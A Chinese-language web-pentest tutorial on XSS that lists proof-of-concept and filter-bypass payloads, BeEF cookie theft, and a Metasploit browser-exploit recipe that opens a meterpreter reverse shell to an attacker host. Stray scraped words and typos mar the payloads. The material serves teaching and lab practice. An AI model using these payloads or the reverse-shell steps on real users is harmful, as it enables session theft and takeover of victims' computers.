Web滲透06_XSS

XSS漏洞描述

XSS是很是厲害的漏洞,在OWASP TOP10中榜上有名。javascript

XSS攻擊一般指的是經過利用網頁開發時留下的漏洞,經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。php

人們常常將跨站腳本攻擊(Cross Site Scripting)縮寫爲CSS,但這會與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。所以,有人將跨站腳本攻擊縮寫爲XSS。但我認爲這個中文名字不是太好,XSS說白了就是利用JS腳本的強大能力,攻擊者經過一些手段,好比說評論功能,留言功能,等等,把一段JS代碼插入到受害網站中,若是受害者網站對用戶輸入的信息過濾不足,任何人在瀏覽時都會遭受到這段JS代碼的威脅。甚至是原本就是惡意的一些網站,沒有任何人攻擊寫入惡意代碼,而是網站製做者自己的惡意寫入去攻擊網站瀏覽者。因此 引入惡意腳本的站點攻擊 這個名字更適合他。css

危害: 盜取受害者cookie信息,電腦截屏,獲取用戶電腦的shell(打開cmd的權限),盜取帳號,劫持用戶會話,插入惡意內容、重定向用戶、使用惡意軟件劫持用戶瀏覽器、繁殖XSS蠕蟲, js功能的強大超乎咱們的想像。html

XSS漏洞驗證

利用一段簡潔的代碼,去測試網站有沒有XSS的漏洞。這樣的代碼叫作 POC(Proof of Concept) proof 英[pruːf] n:證據; 證實; 檢驗;java

網站通常會對<標籤>, ', ", \進行過濾web

<script>alert('xss')</script> // 標籤驗證是否存在標籤的過濾,若是出現彈窗則證實存在漏洞
<script>confirm('xss')</script> // 標籤驗證是否存在標籤的過濾,若是出現彈窗則證實存在漏洞
<script>promot('xss')</script> // 標籤驗證是否存在標籤的過濾,若是出現彈窗則證實存在漏洞ajax

在有關頁面輸入此類代碼進行提交,對結果頁面進行檢查,一般腳本是不會顯示到頁面上的,若是提交評論其餘文字會有顯示,而js代碼卻沒有顯示,則極可能攻擊成功,咱們能夠查看網頁源代碼進行查找是否成爲了網頁的js腳本。shell

若是這一小段代碼引入成功,那麼其餘更加恐怖的代碼也能夠成功了。數據庫

練習平臺

pikachuwindows

xsschallenge

分類

從攻擊代碼的工做方式能夠分爲三個類型:

(1)持久型跨站:最直接的危害類型,跨站代碼存儲在服務器(數據庫)。
(2)非持久型跨站:反射型跨站腳本漏洞,最廣泛的類型。用戶訪問服務器-跨站連接-返回跨站代碼。
(3)DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯致使的安全問題。

基於DOM的XSS漏洞是指受害者端的網頁腳本在修改本地頁面DOM環境時未進行合理的處置,而使得攻擊腳本被執行。在整個攻擊過程當中,服務器響應的頁面並無發生變化,引發客戶端腳本執行結果差別的緣由是對本地DOM的惡意篡改利用。

非持久性 反射性跨站

利用一些表單的變量,進行攻擊。

www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script> 其中submit是提交的結果顯示,而a這個變量是用戶提交的東西(評論,搜索內容等等),而這個連接會顯示用戶提交後的網頁,這樣,只要訪問就會出現彈窗。因此不要亂點不明連接。點擊便可觸發反射形XSS攻擊

持久性 存儲型

把惡意代碼放到網站數據庫中,網站是會存儲用戶的信息的,好比說評論信息,文章信息。你的一些發佈的東西都會被永久的存儲到數據庫中,若是你提交的東西里包含可執行的惡意代碼,別的用戶在經過動態網站的訪問時,網站從數據庫裏取出你放的評論(內有惡意代碼),顯示給其餘人,惡意JS代碼也就會執行。

DOM型

純網站本身編寫的JS存在漏洞,致使其餘人根據這些漏洞,把惡意代碼寫入頁面。

DOM型XSS主要是由客戶端的腳本經過DOM動態地輸出數據到頁面而不是依賴於將數據提交給服務器端,而從客戶端得到DOM中的數據在本地執行,於是僅從服務器端是沒法防護的。其防護在於:(1) 避免客戶端文檔重寫、重定向或其餘敏感操做,同時避免使用客戶端數據,這些操做盡可能在服務器端使用動態頁面來實現;(2) 分析和強化客戶端JS代碼,特別是受到用戶影響的DOM對象,注意能直接修改DOM和建立HTML文件的相關函數或方法,並在輸出變量到頁面時先進行編碼轉義,如輸出到HTML則進行HTML編碼、輸出到則進行JS編碼。

XSS的構造

僞協議

javascript: 僞協議的方式構造 XSS。

<a href="javasript:alert('xss')">clickMe</a>
<img src="javasript:alert('xss')" />

事件驅動

利用JS 對網頁中的各類操做事件的響應,去觸發JS代碼進行 XSS。

  1. Windows事件
  2. Form事件 填寫的觸發
  3. KeyBoard事件 鍵盤
  4. Mouse事件 鼠標點擊
  5. Media事件 多媒體觸發

<img src="images/defualt.jpg" onmouseover="alert('xss')" />
<input type='text' onkeydown="alert('xss')" />

利用CSS進行 XSS

style="backgroud-image:url(javasript:alert('xss'))"

XSS的變形繞過

利用XSS的各類形式,達到對於過濾器,過濾函數的繞過。

大小寫轉換

<Img sRc='#' Onerror="alert" />
<a hRef="javasript:alert('xss')"> clickMe </A>

引號利用

HTML對引號沒啥感受,如下三者均可以用。
img src="#" onerror="alter('xss')"
img src="#" onerror='alter('xss')'
img src="#" onerror=alter('xss')

[/]代替空格

<Img/sRc='#'/Onerror="alert">

TAB 換行符繞過

<a hRef="j
av
asri
pt:alert('xss')"> clickMe </A>

轉碼繞過

字符 編碼 十進制編碼 十六進制編碼
a 97 &#97; &#x61;
e 101 &#101; &#x65;
Tab &#9; 能夠插入任意位置
換行 &#10; 能夠插入任意位置
回車 &#13; 能夠插入任意位置
SOH &#01; 能夠插入頭部位置
STX &#02; 能夠插入頭部位置

<a hRef="&#01;j&#97;vas&#10;ript:alert('xss')"> clickMe `

雙寫繞過

這個有點問題。

<script><scr<script>ipt>

XSS防護👀

永遠不要相信用戶的輸入。

Beef

Kali的一款工具。利用特定的JS代碼,使得遭受這段代碼攻擊的人,在 beef服務器上上線,相似灰鴿子,能夠瀏覽器劫持,獲取受害主機的cookie,shell命令行權限等等。

安裝完成後要修改配置文件,由於安全考慮,要修改在配置文件中的 默認帳戶名和密碼。

Cookie竊取

經過竊取受害者cookie,若是網站以cookie信息驗證用戶身份,則攻擊者能夠在本身的電腦中寫入獲取的cookie信息,直接登陸後臺而不會受阻。

document.cookie="username=admin";
document.cookie="password=123456";

利用瀏覽器漏洞獲取shell

利用msf,msf是kali自帶的一個工具,利用它生成一個能夠利用瀏覽器漏洞獲取shell的頁面,讓beef受害者重定向(**Redirect Browser*)到這個頁面,便可查看用戶本地進程,打開受害者的shell,可是一旦受害者斷開頁面或瀏覽器,這樣的鏈接就會斷開,因此要及時切換攻擊進程的位置。

msfconsole # 啓動工具
use exploit/windows/browser/ms10_002_aurora # 利用模塊
set payload windows/meterpreter/reverse_tcp
set SRVHOST 123.123.123.123 #目標地址
show options # 展現操做結果
set LHOST 11.11.11.11 #本機地址
show options # 展現操做結果
exploit # 攻擊頁面生成 URL 

# 利用重定向使用戶訪問頁面
sessions -i    #查看受害者鏈接
sessions -i 1  #進入到受害者會話
ps             #查看受害者主機進程列表 任務管理器
getuid         # 獲取攻擊進程的序號
migrate 1532   # 切換進程來維持長久鏈接

XSSpt.com

一個XSS漏洞利用平臺。建立本身的項目,配置相關的攻擊模塊,自動會生成JS代碼,在由XSS漏洞的平臺裏,用外部JS引入攻擊代碼,便可獲取受害者信息,以及其餘的一些操縱。

攻擊方法擴充

windows.location.hash

windows.location.hash會取得瀏覽器的url中 #以及後面的字符串。

url_http://abc.com/index.php?a=5#abcdef
location.hash=#abcdef

攻擊實例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)
substr(index)會截取第幾個字符後面的字符,從1開始。

備選存儲技術

把XSS代碼寫到cookie中,用戶登陸或者是其餘一些用到cookie信息的時候,一些網頁會提取cookie信息,並展現給用戶看,這個時候XSS就執行了。

Ajax

利用Ajax去請求遠端的JS代碼,執行攻擊。

最後就是多練習🤦‍♀️🤦‍♂️🤷‍♂️🤷‍♀️

網上有不少XSS練習平臺,有的是在線網頁的能夠去人家的網站,還有能夠下載下來放到本身機器上的練習網站。

多練。😒

相關文章
相關標籤/搜索